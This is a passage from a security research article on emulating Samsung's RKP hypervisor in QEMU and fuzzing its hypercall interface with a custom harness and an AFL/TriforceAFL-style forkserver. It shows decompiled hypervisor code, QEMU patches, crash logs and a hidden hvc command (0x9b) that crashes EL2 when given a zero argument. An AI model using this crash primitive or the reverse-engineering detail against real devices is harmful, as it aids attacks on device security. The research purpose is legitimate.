rkp_physmap_init(); ... if ( rkp_bitmap_init() ) { /* misc initializations and debug logs */ rkp_debug_log("RKP_6398d0cb", hcr_el2, sctlr_el2, rkp_init_values->magic); /* more debug logs */ if ( rkp_paging_init() ) { is_rkp_activated = 1; /* (12) */ ... my_initialize_hvc_cmd_counter(); ... } } ... } ... } RKP maintains a struct storing all required information. During initialization in RKP function `rkp_init()`, values passed via `rkp_init_t` struct along with the VA_OFFSET are stored there to be used later. Next, various memory regions such as physmap and bitmaps are initialized. We are not going to be expanding on those regions since they are implementation specific, but due to their heavy usage by RKP (especially physmap) we are going to briefly explain them. Physmap contains information about physical regions, such as whether this is an EL2 or EL1 region etc., is set to a predefined EL2 only accessible region as explained next and RKP uses this information to decide if certain actions are allowed on specific regions. Two bitmaps exist in this specific RKP implementation; rkp_pgt_bitmap and rkp_dbl_bitmap and their physical regions are provided by EL1 kernel. They are both written to by RKP. rkp_pgt_bitmap provides information to EL1 on whether addresses are protected by S2 mappings and as such accesses should be handled by RKP. rkp_dbl_bitmap is used to track and prevent unauthorized mappings from being used for page tables. The `rkp_bitmap_init()` success requires only the pointers to not be zero, however additional restrictions are defined during `rkp_paging_init()` function (0xb010e4c4) later. Next, we see the RKP debug log being used, dumping system registers thus providing important information regarding the system state/configuration, which has helped us understand the system and configure the framework. Below a (processed) sample output is displayed with the various registers annotated. Finally, Samsung allows OEM unlock for the under examination device model, which allows us to patch vmm.elf, build and boot the kernel with the patched RKP and retrieve additional information. The final snippet line contains the debug log from a separate execution, where MAIR_ELn registers were replaced with SCTLR_EL1 and VTCR_EL2 respectively. How to build a custom kernel and boot a Samsung device with it is left as exercise to the reader. 0000000000000000 neoswbuilder-DeskTop RKP64_01aa4702 0000000000000000 Jul 11 2018 0000000000000000 11:19:42 /* hcr_el2 */ /* sctlr_el2 */ 84000003 30cd1835 5afe0001 RKP_6398d0cb /* tcr_el2 */ /* tcr_el1 */ 80823518 32b5593519 5afe0001 RKP_64996474 /* mair_el2 */ /* mair_el1 */ 21432b2f914000ff 0000bbff440c0400 5afe0001 RKP_bd1f621f ... /* sctlr_el1 */ /* vtcr_el2 */ 34d5591d 80023f58 5afe0001 RKP_patched Finally, one of the most important functions in RKP initialization follows; `rkp_paging_init()`. Numerous checks are performed in this function and the system memory layout must satisfy them all for RKP to by initialized successfully. Furthermore, physmap, bitmaps and EL2 Stage 1 and 2 tables are set or processed. We will be explaining some key points but will not go over every trivial check. Finally, we must ensure that any RKP required regions are reserved. The physical memory layout used in the framework aiming to satisfy the minimum requirements to achieve proper RKP initialization is shown below. Obviously, more complex layouts can be used to implement more feature rich frameworks. The graph also explains the previously presented size selection of 3GBs for the emulation system RAM. This size ensures that the framework has a sufficiently large PA space to position executables in their expected PAs. +---------+ 0x80000000 text, vmalloc | | | | | | | | +---------+ 0x80044000 rkp_pgt_bitmap | | | | +---------+ 0x80064000 rkp_map_bitmap | | | | +---------+ 0x80085000 _etext, srodata | | +---------+ 0x80086000 _erodata, vmalloc_end | | | | +---------+ 0x80088000 swapper_pg_dir | | | | +---------+ 0x8008b000 id_pg_dir | | | | +---------+ 0x8008e000 zero_page | | ... | | +---------+ 0xaf400000 rkp_extra_mem_start | | | | +---------+ 0xafa00000 rkp_extra_mem_end | | +---------+ 0xafc00000 rkp_phys_map_start | | | | +---------+ 0xb0100000 rkp_phys_map_end, hyp_base To sum up the process, after alignment and layout checks, the EL1 kernel region is set in physmap (13) and mapped in EL2 Stage 1 translation tables (14). The two bitmap regions are checked (15) and if they are not incorporated in the kernel text, their Stage 2 (S2) entries are changed to Read-Only and not executable (16) and finally physmap is updated with the two bitmap regions. FIMC region, which will be discussed shortly, is processed next (17) in function `my_process_fimc_region()` (0xb0112df0). Continuing, kernel text is set as RWX in S2 translation tables (18) which will change later during the initialization to read-only. Last but not least, physmap and extra memory address are unmapped from S2 (19) and (21) rendering them inaccessible from EL1 and their physmap regions are set (20) and (22). // vmm-G955FXXU4CRJ5.elf int64_t rkp_paging_init(void) { /* alignment checks */ v2 = my_rkp_physmap_set_region(text_pa, etext - text, 4); /* (13) */ if ( !v2 ) return v2; /* alignment checks */ res = s1_map(text_pa, etext_pa - text_pa, 9); /* (14) */ ... /* * bitmap alignment checks /* (15) */ * might lead to label do_not_process_bitmap_regions */ res = rkp_s2_change_range_permission(rkp_pgt_bitmap, /* (16) */ bitmap_size + rkp_pgt_bitmap, 0x80, 0, 1); // RO, XN ... res = rkp_s2_change_range_permission(rkp_map_bitmap, bitmap_size + rkp_map_bitmap, 0x80, 0, 1); // RO, XN ... do_not_process_bitmap_regions: if ( !my_rkp_physmap_set_region(rkp_pgt_bitmap, bitmap_size, 4) ) return 0; res = my_rkp_physmap_set_region(rkp_map_bitmap, bitmap_size, 4); if ( res ) { res = my_process_fimc_region(); /* (17) */ if ( res ) { res = rkp_s2_change_range_permission( /* (18) */ text_pa, etext_pa, 0, 1, 1); // RW, X ... /* (19) */ res = maybe_s2_unmap(physmap_addr, physmap_size + 0x100000); ... res = my_rkp_physmap_set_region(physmap_addr, /* (20) */ physmap_size + 0x100000, 8); ... /* (21) */ res = maybe_s2_unmap(extra_memory_addr, extra_memory_size); ... res = my_rkp_physmap_set_region(extra_memory_addr, /* (22) */ extra_memory_size, 8); ... } } return res; } FIMC refers to Samsung SoC Camera Subsystem and during the kernel initialization, regions are allocated and binaries are loaded from the disk. There is only one relevant `hvc` call, related to the FIMC binaries verification (command id 0x71). RKP modifies the related memory regions permissions and then invokes EL3 to handle the verification in function `sub_B0101BFC()`. Since we are implementing our own EL3 and are interested in EL2 functionality we will be ignoring this region. However, we still reserve it for completeness reasons and function `my_process_fimc_region()` simply processes the S2 mappings for this region. By invoking `hvc` with command id 0x71, even if every other condition is met and `smc` is reached, as discussed above EL3 will hang because there is no handler for `smc` command id 0xc200101d in our setup. // vmm-G955FXXU4CRJ5.elf sub_B0101BFC ... mov X0, #0xC200101D mov X1, #0xC mov X2, X19 // holds info about fimc address, size, etc. mov X3, #0 dsb SY smc #0 ... Although, as mentioned, simply reserving the region will suffice for this specific combination of hypervisor and subsystem, it is indicative of the considerations needed when examining hypervisors, even if more complex actions are required by other hypervisors and/or subsystems. For example the verification might have been incorporated in the initialization procedure, in which case this could be handled by our framework EL3 component. At this step we have performed the first step of RKP initialization successfully. After some tasks such as the `hvc` command counters initialization and the `is_rkp_activated` global flag setting `rkp_init()` returns. We can now invoke other `hvc` commands. ------[ 2.3.3 - RKP Deferred Initialization The next step is the deferred initialization which is handled by function `rkp_def_init()` (0xb01131dc) and its main purpose is to set the kernel S2 translation permissions. // vmm-G955FXXU4CRJ5.elf void rkp_def_init(void) { ... if ( srodata_pa >= etext_pa ) { if (!rkp_s2_change_range_permission(text_pa, etext_pa, 0x80, 1, 1)) // Failed to make Kernel range ROX rkp_debug_log("RKP_ab1e86d9", 0, 0, 0); } else { res = rkp_s2_change_range_permission(text_pa, srodata_pa, 0x80, 1, 1)) // RO, X ... res = rkp_s2_change_range_permission(srodata_pa, etext_pa, 0x80, 0, 1)) // RO, XN ... } rkp_l1pgt_process_table(swapper_pg_dir, 1, 1); RKP_DISALLOW_DEBUG = 1; rkp_debug_log("RKP_8bf62beb", 0, 0, 0); } As demonstrated below after `rkp_s2_change_range_permission()` invocation the kernel region is set to read only. Finally, in `rkp_l1pgt_process_table()` swapper_pg_dir (TTBR1_EL1) and its subtables are set to read-only and not-executable. // EL1 text before rkp_s2_change_range_permission() Third level: 0x80000000-0x80001000: S2AP=11, XN=0 ... // EL1 text after rkp_s2_change_range_permission() Third level: 0x80000000-0x80001000: S2AP=1, XN=0 ... // swapper_pg_dir before rkp_l1pgt_process_table() Third level: 0x80088000-0x80089000: S2AP=11, XN=0 Third level: 0x80089000-0x8008a000: S2AP=11, XN=0 ... // swapper_pg_dir after rkp_l1pgt_process_table() Third level: 0x80088000-0x80089000: S2AP=1, XN=10 Third level: 0x80089000-0x8008a000: S2AP=1, XN=10 ... ------[ 2.3.4 - Miscellaneous Initializations In our approach, we have not followed the original kernel initialization to the letter. Specifically, we skip various routines initializing values regarding kernel structs such as credentials, etc., which are void of meaning in our minimal framework. Moreover, these are application specific and do not provide any valuable information required by the ARM architecture to properly define the EL2 state. However, we will be briefly presenting them here for completeness reasons, and as our system understanding improves and the framework supported functionality requirements increase (for example to improve fuzzing discussed next) they can be incorporated in the framework. Command 0x40 is used to pass information about cred and task structs offsets and then command 0x42 for cred sizes during the credential initialization in kernel's `cred_init()` function. Next, in `mnt_init()` command 0x41 is used to inform EL2 about vfsmount struct offsets and then when rootfs is mounted in `init_mount_tree()` information regarding the vfsmount are sent via command 0x55. This command is also used later for the /system partition mount. These commands can only be called once (with the exception of command 0x55 whose counter is 2) and as mentioned above are used in the original kernel initialization process. Incorporating them to the framework requires understanding of their usage from both the kernel and the hypervisor perspective which will be left as an exercise to the reader who can start by studying the various `rkp_call()` kernel invocations. ----[ 2.4 - Final Notes At this point we have performed most of the expected RKP initialization routines. We now have a fully functional minimal framework which can be easily edited to test and study the RKP hypervisor behavior. More importantly we have introduced fundamental concepts for readers to implement their own setups and reach the current system state which allows us to interact with it and start investigating fuzzing implementations. On a final note, some of the original kernel initialization routines were omitted since their action lack meaning in our framework. They were briefly introduced and interested readers can study the various `rkp_call()` kernel invocations and alter the framework state at will. Additionally, this allows the fuzzers to investigate various configuration scenarios not restricted by our own assumptions. --[ 3 - Fuzzing In this section we will be describing our approaches towards setting up fuzzing campaigns under the setup presented above. We will begin with a naive setup aiming to introduce system concepts we need to be aware and an initial interaction with QEMU source code and functionality. We will then be expanding on this knowledge, incorporating AFL in our setup for more intelligent fuzzing. To verify the validity of the fuzzing setups presented here we evidently require a bug that would crash the system. For this purpose we will be relying on a hidden RKP command with id 0x9b. This command leads to function `sub_B0113AA8()` which, as shown in the snippet, adds our second argument (register X1) to value 0x4080000000 and uses the result as an address to store a QWORD. As you might be imagining, simply passing 0 as our second argument results in a data abort ;) // vmm-G955FXXU4CRJ5.elf int64_t sub_B0113AA8(exception_frame *exc_frame) { *(exc_frame->x1 + 0x4080000000) = qword_B013E6B0; rkp_debug_log("RKP_5675678c", qword_B013E6B0, 0, 0); return 0; } To demonstrate the framework usage we are going to trigger this exception with a debugger attached. We start the framework and set a breakpoint in the handler from `hvc` command 0x9b at the instruction writing the QWORD to the evaluated address. Single stepping from there causes an exception, which combined with the previous information about RKP exception handlers, we can see is a synchronous exception from the same EL. Continuing execution from there we end up in the synchronous handler for data aborts (EC 0x25) which leads to `vmm_panic()` :) (gdb) target remote :1234 _reset () at boot64.S:15 15 ldr x30, =stack_top_el3 (gdb) continue ... Breakpoint 1, 0x00000000b0113ac4 in ?? () (gdb) x/4i $pc-0x8 0xb0113abc: mov x0, #0x80000000 0xb0113ac0: movk x0, #0x40, lsl #32 => 0xb0113ac4: str x1, [x2,x0] 0xb0113ac8: adrp x0, 0xb0116000 (gdb) info registers x0 x1 x2 x0 0x4080000000 277025390592 x1 0x0 0 x2 0x1 1 (gdb) stepi 0x00000000b010c1f4 in ?? () (gdb) x/20i $pc => 0xb010c1f4: stp x1, x0, [sp,#-16]! ... 0xb010c234: mov x0, #0x200 // Current EL 0xb010c238: mov x1, #0x0 // Synchronous 0xb010c23c: mov x2, sp 0xb010c240: bl 0xb010aa44 // vmm_dispatch (gdb) continue Continuing. Breakpoint 5, 0x00000000b010a80c in ?? () // EC 0x25 handler (gdb) x/7i $pc => 0xb010a80c: mov x0, x22 0xb010a810: mov x1, x21 0xb010a814: mov x2, x19 0xb010a818: adrp x3, 0xb0115000 0xb010a81c: add x3, x3, #0x4d0 0xb010a820: bl 0xb010a4cc // vmm_panic ----[ 3.1 - Dummy fuzzer To implement the dummy fuzzer we decided to abuse `brk` instruction, which generates a Breakpoint Instruction exception. The exception is recorded in in ESR_ELx and the value of the immediate argument in the instruction specific syndrome field (ESR_ELx.ISS, bits[24:0]). In QEMU, this information is stored in `CPUARMStame.exception` structure as shown in the following snippet. // qemu/target/arm/cpu.h typedef struct CPUARMState { ... /* Regs for A64 mode. */ uint64_t xregs[32]; ... /* Information associated with an exception about to be taken: * code which raises an exception must set cs->exception_index and * the relevant parts of this structure; the cpu_do_interrupt function * will then set the guest-visible registers as part of the exception * entry process. */ struct { uint32_t syndrome; /* AArch64 format syndrome register */ ... } exception; ... } `arm_cpu_do_interrupt()` function handles the exceptions in QEMU and we can intercept the `brk` invocation by checking `CPUState.exception_index` variable as shown in (23). There we can introduce our fuzzing logic and setup the system state with our fuzzed values for the guest to access as discussed next. Finally, to avoid actually handling the exception (calling the exception vector handle, changing ELs etc.) which would disrupt our program flow, we simply advance `pc` to the next instruction and return from the function. This effectively turns `brk` into a fuzzing instruction. // qemu/target/arm/helper.c /* Handle a CPU exception for A and R profile CPUs. ... */ void arm_cpu_do_interrupt(CPUState *cs) { ARMCPU *cpu = ARM_CPU(cs); CPUARMState *env = &cpu->env; ... // Handle the break instruction if (cs->exception_index == EXCP_BKPT) { /* (23) */ handle_brk(cs, env); env->pc += 4; return; } ... arm_cpu_do_interrupt_aarch64(cs); ... } We utilize syndrome field as a function identifier and specifically immediate value 0x1 is used to call the dummy fuzzing functionality. There are numerous different harnesses that can be implemented here. In our demo approach we only use a single argument (via X0) which points to a guest buffer where fuzzed data could be placed. The framework registers, hence arguments which will be passed to EL2 by `rkp_call_fuzz` after calling `__break_fuzz()` are set by our harness in function `handle_brk()`. // framework/main.c void el1_main(void) { framework_rkp_init(); rkp_call(RKP_DEF_INIT, 0, 0, 0, 0, 0); for(; ;){ // fuzzing loop __break_fuzz(); // create fuzzed values rkp_call_fuzz(); // invoke RKP } } // framework/util.S __break_fuzz: ldr x0, =rand_buf brk #1 ret ENDPROC(__break_fuzz) rkp_call_fuzz: hvc #0 ret ENDPROC(rkp_call_fuzz) We will not be presenting complex harnesses here since this is beyond the scope of this article and will be left as exercise for the reader. We will, however, be describing a simple harness to fuzz RKP commands. Moreover, since most RKP handlers expect the second argument (X1 register) to point to a valid buffer we will be using `rand_buf` pointer as shown above for that purpose. The logic should be rather straightforward. We get a random byte (24), at the end place it in X0 (25) and as a result will be used as the RKP command index. Next, we read a page of random data and copy it to the guest buffer `rand_buf` (using function `cpu_memory_rw_debug()`) and use it as the second argument by placing the buffer address in X1 (26). // qemu/target/arm/patch.c int handle_brk(CPUState *cs, CPUARMState *env) { uint8_t syndrome = env->exception.syndrome & 0xFF; int l = 0x1000; uint8_t buf[l]; switch (syndrome) { case 0: // break to gdb if (gdbserver_running()) { qemu_log_mask(CPU_LOG_INT, "[!] breaking to gdb\n"); vm_stop(RUN_STATE_DEBUG); } break; case 1: ; // dummy fuzz uint8_t cmd = random() & 0xFF; /* (24) */ /* write random data to buffer buf */ /* * Write host buffer buf to guest buffer pointed to * by register X0 during brk invocation */ if (cpu_memory_rw_debug(cs, env->xregs[0], buf, l, 1) < 0) { fprintf(stderr, " Cannot access memory\n"); return -1; } fuzz_cpu_state.xregs[0] = 0x83800000 | (cmd << 12); fuzz_cpu_state.xregs[1] = env->xregs[0]; env->xregs[0] = fuzz_cpu_state.xregs[0]; /* (25) */ env->xregs[1] = fuzz_cpu_state.xregs[1]; /* (26) */ break; default: ; } return 0; } As you might expect after compiling the modified QEMU and executing the fuzzer, nothing happens! We elaborate more on this next. ------[ 3.1.1 - Handling Aborts Since this is a bare metal implementation there is nothing to "crash". Once an abort happens, the abort exception handler is invoked and both our framework and RKP ends up in an infinite loop. To identify aborts we simply intercept them in `arm_cpu_do_interrupt()` similarly with `brk`. // qemu/target/arm/helper.c void arm_cpu_do_interrupt(CPUState *cs) { ... // Handle the instruction or data abort if (cs->exception_index == EXCP_PREFETCH_ABORT || cs->exception_index == EXCP_DATA_ABORT ) { if(handle_abort(cs, env) == -1) { qemu_system_shutdown_request(SHUTDOWN_CAUSE_HOST_ERROR); } // reset system qemu_system_reset_request(SHUTDOWN_CAUSE_HOST_QMP_SYSTEM_RESET); } ... } When a data or instruction abort exception is generated, we create a crash log in `handle_abort()` and then request QEMU to either reset and restart fuzzing or terminate if `handle_abort()` fails which essentially terminates fuzzing as we can not handle aborts. We use QEMU functions to dump the system state such as the faulting addresses, system registers, and memory dumps in text log files located in directory crashes/. int handle_abort(CPUState *cs, CPUARMState *env) { FILE* dump_file; if (open_crash_log(&dump_file) == -1) return -1; const char *fmt_str = "********* Data\\Instruction abort! *********\n" "FAR = 0x%llx\t ELR = 0x%llx\n" "Fuzz x0 = 0x%llx\t Fuzz x1 = 0x%llx\n"; fprintf(dump_file, fmt_str, env->exception.vaddress, env->pc, fuzz_cpu_state.xregs[0], fuzz_cpu_state.xregs[1]); fprintf(dump_file, "\n********** CPU State **********\n"); cpu_dump_state(cs, dump_file, CPU_DUMP_CODE); fprintf(dump_file, "\n********** Disassembly **********\n"); target_disas(dump_file, cs, env->pc-0x20, 0x40); fprintf(dump_file, "\n********** Memory Dump **********\n"); dump_extra_reg_data(cs, env, dump_file); fprintf(dump_file, "\n********** End of report **********\n"); fclose(dump_file); return 0; } A sample trimmed crash log is presented below. We can see that the faulting command is 0x8389b000 (or command index 0x9b ;) the faulting address and the code were the abort happened. You can create your own logs by executing the dummy fuzzer ;) ********** Data\Instruction abort! ********** FAR = 0x41000c5000 ELR = 0xb0113ac4 Fuzz x0 = 0x8389b000 Fuzz x1 = 0x800c5000 ********** CPU State ********** PC=00000000b0113ac4 X00=0000004080000000 X01=0000000000000000 X02=00000000800c5000 X03=0000000000000000 X04=0000000000000000 .... X29=00000000b0142e70 X30=00000000b010d294 SP=00000000b0142e70 PSTATE=600003c9 -ZC- NS EL2h ********** Disassembly ********** 0xb0113abc: d2b00000 movz x0, #0x8000, lsl #16 0xb0113ac0: f2c00800 movk x0, #0x40, lsl #32 0xb0113ac4: f8206841 str x1, [x2, x0] 0xb0113ac8: f0000000 adrp x0, #0xb0116000 0xb0113acc: 911ac000 add x0, x0, #0x6b0 ********** Memory Dump ********** ... X00: 0x0000004080000000 000000407fffff60: Cannot access memory ... X02: 0x00000000800c5000 ... 00000000800c4fe0: 0x0000000000000000 0x0000000000000000 00000000800c4ff0: 0x0000000000000000 0x0000000000000000 00000000800c5000: 0x21969a71a5b30938 0xc6d843c68f2f38be 00000000800c5010: 0xd7a1a2d7948ffd7e 0x42793a9f98647619 00000000800c5020: 0x87c01b08bb98d031 0x1949658c38220d4d ... ********** End of report ********** ------[ 3.1.2 - Handling Hangs RKP has two functions that lead to system hangs; `rkp_policy_violation()` and `vmm_panic()`. The former is used when RKP unsupported exceptions or exception classes are triggered, while the latter aligns better with the `assert()` function logic. Since there are only two functions with these characteristics we can simply reset the system if they are ever executed. This is done in QEMU function `cpu_tb_exec()` which is responsible for emulating the execution of a single basic block. When they are identified via their address, the system is reset as with the abort case presented above, without however creating a crash log file. Evidently, this is not an optimal approach and does not scale well. We will be providing a better solution in the setup with AFL described next. // qemu/accel/tcg/cpu-exec.c /* Execute a TB, and fix up the CPU state afterwards if necessary */ static inline tcg_target_ulong cpu_tb_exec(CPUState *cpu, TranslationBlock *itb) { CPUArchState *env = cpu->env_ptr; ... if (env->pc == 0xB010DBA4) { // rkp_policy_violation qemu_log("[!] POLICY VIOLATION!!! System Reset!\n"); qemu_system_reset_request(SHUTDOWN_CAUSE_HOST_QMP_SYSTEM_RESET); } if (env->pc == 0xB010A4CC) { // vmm_panic qemu_log("[!] VMM PANIC!!! We should not be here!!!\n"); qemu_system_reset_request(SHUTDOWN_CAUSE_HOST_QMP_SYSTEM_RESET); } ... } ----[ 3.2 - AFL with QEMU full system emulation One of the major problems encountered during this work was QEMU changing rapidly. This caused various tools to become obsolete, unless teams were dedicated porting them to newer versions fixing various problems introduced by the modified QEMU code. With this in mind, we will first introduce problems stemming from this situation and previous work on full system emulation. We will then proceed with the proposed solution. ------[ 3.2.1 - Introduction As mentioned before, we chose the latest stable QEMU v4.1.0 and AFL v2.56b. The first step was to port AFL to the target QEMU version. The patch itself is rather straightforward, so we will not be presenting details here. Refer to the attached afl-2.56-qemu-4.1.0-port/readme for more details. Note that to remove the QEMU directory from the AFL subfolder, we included in AFL header files config.h and afl-types.h in the patch. As a result, to avoid any unexpected behaviors theses files must be kept in sync between AFL and QEMU. After applying the patches and building QEMU and copying the resulting binary in AFL directory as `afl-qemu-trace`, we invoke AFL with QEMU in the old fashioned way: $ ./afl-fuzz -Q -i in -o out /usr/bin/readelf -a @@ We will briefly explain some QEMU/AFL key points to help understand the modified version. With QEMU the forkserver practically runs inside QEMU, starts when the ELF entry point is encountered and is kept in sync with AFL via pipes. When AFL instructs forkserver to run once, the forkserver (parent) clones itself, writes the QEMU child (child) pid to AFL and allows the child to execute free. AFL sets a child execution watchdog which will terminate the child if triggered. While the child runs it updates the AFL bitmap (`afl_maybe_log()`) and reports blocks that have not been translated yet back to the parent (`afl_request_tsl()`) who waits in a read loop (`afl_wait_tsl()`). Once a new block is encountered the parent mirrors the translation and avoid re-translation for future children which significantly improves fuzzing performance (interested readers can also check [07]). Upon termination/crash/exit of the child, parent exits the wait loop, reports back to AFL and awaits AFL to order a new execution. +-------+ +-------------+ +------------+ | AFL | | Qemu Parent | | Qemu Child | +-------+ +-------------+ +------------+ | . . init_forkserver . . | . . fork/exec ------------> afl_setup . | (entry point) . setitimer | . | | . read <----+ | . (block) | afl_forkserver . | | | . | +--unblock--- write . | | <-------------------------------+ run_target +-------> read . | | | (block) . | | | | . | write --unblock--+ | . | | | . | read <----+ fork -----------------> run | (block) | | | <------+ | | | | | | | | +--unblock--- write afl_maybe_log | | setitimer (child pid) | | | | | | | | read <-----+ | | | | (block) | | | | | | | afl_wait_tsl/read <----- afl_request_tsl | | | | (loop block) write | | | | | | | | do stuff | | +--------+ | | | waitpid() <---+ | | | | | | terminate | | | | +----------- exit | | | | crash | | +--unblock--- write | | (child status) | | | | | +--------------repeat----------------+ Our approach is based on TriforceAFL [08] whose goal was to fuzz the Linux kernel. We are going to provide a brief overview but skip various details, because as aforementioned TriforceAFL is based on old QEMU (2.3.0) and AFL (2.06b) versions, currently does not build and the project seems to be abandoned. Furthermore, Linux kernel is vastly more complex compared to our framework and the targeted hypervisor and for this reason different hashing algorithm for the bitmap was used, which is not required here. Additionally, the target in this article is an ARM binary and executes on different level (EL2) from the Linux kernel (EL1). Nonetheless, interested readers may refer to the project source code, documentation [09] and slides for additional details. In short, they introduced an instruction as a handler to dispatch operations to 4 different functions called "hypercalls", all handled by QEMU. The parent executes normally and boots the VM until the first hypercall `startForkServer` is encountered which causes the forkserver to be instantiated. The parent/forkserver the spawns a child guest which then invokes hypercall `getWork` to fetch the new testcase from the host to the guest VM and then hypercall `startWork` to enable tracing and set the address region to be traced. If the child does not crash, it terminates by calling hypercall `endWork` to force the child QEMU to exit. These "hypercalls" are invoked from a custom Linux kernel driver. As stated in TriforceAFL, getting forkserver to work was one of the most difficult parts. QEMU full system emulation uses 3 threads; CPU, IO and RCU. Their solution was to have `startForkServer` hypercall set a flag which causes CPU thread (vCPU) to exit the CPU loop, save some state information, notify the IO thread and exit. IO thread then receives the notification and starts the forkserver by forking itself. The child IO thread then spawns a new vCPU thread which restores its state from the previous vCPU saved information and continues execution cleanly from `startForkServer`. Basically, the forkserver is the IO thread (whose vCPU thread has now terminated) and each new fork child spawns a new vCPU thread (with information from the parent vCPU saved state) to do the CPU emulation. Finally, AFL was edited to increase the QEMU parent/child memory limit MEM_LIMIT_QEMU because full system emulation has larger memory requirements compared to user mode emulation, especially for emulating Linux kernel. Furthermore, during the AFL `init_forkserver()` fork, a timer controlled by FORK_WAIT_MULT defined value is set in AFL to avoid blocking in read indefinitely in case forkserver in parent fails. This value was increased, because during this step the parent initializes the guest VM until `startForkServer` hypercall is reached, which might be time consuming. Last but not least, mode enabled by argument -QQ was introduced to allow user to specify the QEMU binary path instead of using `afl-qemu-trace`. Our approach relies heavily on TriforceAFL as mentioned before. We decided to skip the TriforceAFL implementation details due to the vast QEMU differences, however we recommend readers to study the TriforceAFL [08] implementation and documentation. ------[ 3.2.2 - Implementation First we are going to go over the AFL diff which is the most brief since we only modified afl-fuzz.c and config.h and we do not deviate much from TriforceAFL. The QEMU parent/child memory limits have been commented out since our framework emulation has much larger memory requirements in comparison. Secondly, to disable QEMU chaining feature which affects AFL stability, AFL normally sets environmental variable "QEMU_LOG" to "nochain" (see qemu/linux-user/main.c for details) before invoking QEMU in user mode. This option however is not honored in full system emulation and as a result QEMU option `-d nochain` _must_ be specified during QEMU full system emulation invocation. Lastly, users must set the various system configurations AFL requires such as disabling the CPU frequency scaling and external core dump handling utilities. We invoke the fuzzer with our setup as: $ AFL_SKIP_CPUFREQ=1 AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES=1 \ ./afl-fuzz -QQ -i in -o out \ /aarch64-softmmu/qemu-system-aarch64 \ -machine virt \ -cpu cortex-a57 \ -smp 1 \ -m 3G \ -kernel kernel.elf \ -machine gic-version=3 \ -machine secure=true \ -machine virtualization=true \ -nographic \ -d nochain \ -afl_file @@ --------[ 3.3.2.1 - QEMU patches At this point we will be providing details regarding the QEMU patches to support full system AFL fuzzing since as mentioned before, even though the main idea persists, there are many differences compared to the original TriforceAFL implementation mainly due to vast QEMU differences between the versions. The first difference is that we utilized `brk` to introduce hypercalls instead of introducing a new instruction. // qemu/target/arm/patch.c int handle_brk(CPUState *cs, CPUARMState *env) { ... switch (syndrome) { ... case 3: return start_forkserver(cs, env, env->xregs[0]); case 4: return get_work(cs, env, env->xregs[0], env->xregs[1]); case 5: return start_work(cs, env, env->xregs[0], env->xregs[1]); case 6: return done_work(env->xregs[0]); default: ; } return 0; } To better demonstrate the setup we provide the following diagram and each step will be explained next. Readers are also advised to compare this with the original AFL/QEMU diagram presented previously. +-------------+ +-------------+ +------------+ +-------------+ | Qemu Parent | | Qemu Parent | | Qemu Child | | Qemu Child | | IO thread | | vCPU thread | | IO thread | | vCPU thread | +-------------+ +-------------+ +------------+ +-------------+ | . . . initialize . . . QEMU . . . | . . . (27) start vCPU -----> thread entry point . . | | . . do stuff <-+ tcg_register_thread (28) . . | | | . . +-------+ | . . | main execution loop . . | execute guest VM . . | until start_forkserver . . | (29) . . | | . . | | . . | start_forkserver . . | | . . | set afl_wants_cpu_to_stop . . | (30) . . | | . . | save vCPU state . . | (31) . . | | . . | +-- notify . . | | IO thread . . | | (32) . . | | | . . got_pipe_notification <--+ exit . . | | . . afl_forkserver (33) X . . | . . write(unblock AFL) . . | . . +-> read(from AFL, block) . . | | . . | fork --------------------------> restore vCPU state . | | (34) . | | | . | | start --> thread entry point | | vCPU (35) | | | | | | | | tcg_register_thread | | | (36) | | | | | write | getWork | (child pid to AFL) | | | | +--> do stuff | repeat ... | | startWork | | +-------+ | | | | | afl_wait_tsl <-----------------+ afl_maybe_log | (37) | | | | | | | | +------------------- afl_request_tsl | waitpid <-----------+ (38) | | | | | | | | | write | crash | (child status to AFL) +-------------------------------- endWork | | +---------+ During system initialization, vCPU is instantiated (27) by IO thread in a manner dependent on the system configuration. Our setup uses Multithread Tiny Coge Generator (MTTCG) which allows the host to run one host thread per guest vCPU. Note that we are using a single core/thread and as a result there is a single vCPU thread in our setup. The vCPU thread entry point for MTTCG configuration is function `qemu_tcg_cpu_thread_fn()` under qemu/cpus.c where, after some initializations, vCPU enters its main execution loop (29)-(40). In a high level of abstraction, execution loop comprises two steps; translating basic blocks (function `tb_find()`) and executing them (function `cpu_tb_exec()`). As mentioned before, we allow the QEMU parent to execute free and initialize the guest VM until `start_forkserver` hypercall is invoked. As a result, each forkserver child will start with a _fully initialized VM_ right before the targeted functionality significantly improving fuzzing performance. // qemu/cpus.c /* Multi-threaded TCG * * In the multi-threaded case each vCPU has its own thread. The TLS * variable current_cpu can be used deep in the code to find the * current CPUState for a given thread. */ static void *qemu_tcg_cpu_thread_fn(void *arg) { CPUState *cpu = arg; ... tcg_register_thread(); /* (39) */ do { ... r = tcg_cpu_exec(cpu); /* (40) */ ... } while ((!cpu->unplug || cpu_can_run(cpu)) /* (41) */ && !afl_wants_cpu_to_stop); if(afl_wants_cpu_to_stop) { ... if(write(afl_qemuloop_pipe[1], "FORK", 4) != 4) /* (42) */ perror("write afl_qemuloop_pip"); ... restart_cpu = (&cpus)->tqh_first; /* (43) */ ... } ... return NULL; } When during the execution `start_forkserver()` hypercall is invoked, global flag `afl_wants_cpu_to_stop` is set (30)-(44) ultimately breaking the vCPU main execution loop. There are various reasons that could cause the system to reach this state so after the main loop we check flag `afl_wants_cpu_to_stop` to decide whether vCPU must terminate (41). Finally we save the vCPU state (31)-(43), notify IO thread (32)-(42) and terminate the vCPU thread. // qemu/target/arm/patch.c target_ulong start_forkserver(CPUState* cs, CPUARMState *env, ...) { ... /* * we're running in a cpu thread. we'll exit the cpu thread * and notify the iothread. The iothread will run the forkserver * and in the child will restart the cpu thread which will continue * execution. */ afl_wants_cpu_to_stop = 1; /* (44) */ return 0; } Parent IO thread becomes the forkserver in the notification handling function `got_pipe_notification()` (33)-(45). In the fork child (which is the child QEMU IO thread) we reset the vCPU state (34)-(46) and start a new vCPU thread for the child process (35)-(47). (don't forget to comment out the `madvise(..., DONTFORK)` invocation ;) // qemu/cpus.c static void got_pipe_notification(void *ctx) { ... afl_forkserver(restart_cpu); /* (45) */ /* we're now in the child! */ (&cpus)->tqh_first = restart_cpu; /* (46) */ qemu_tcg_init_vcpu(restart_cpu); /* (47) */ } Finally, for MTTCG all TCG threads must register their context before starting translation (36)-(39) as part of their initialization process mentioned before. As shown next, each thread registers its context in `tcg_ctxs` array in an incremental fashion and assigns it to thread local variable `tcg_ctx`. It is obvious that the system was not designed with a forkserver in mind, where vCPU thread is respawned and trying to register a new context for the forkserver children will fail. However, since we use a single thread and we can simply bypass this by patching function `tcg_register_thread()` to always set 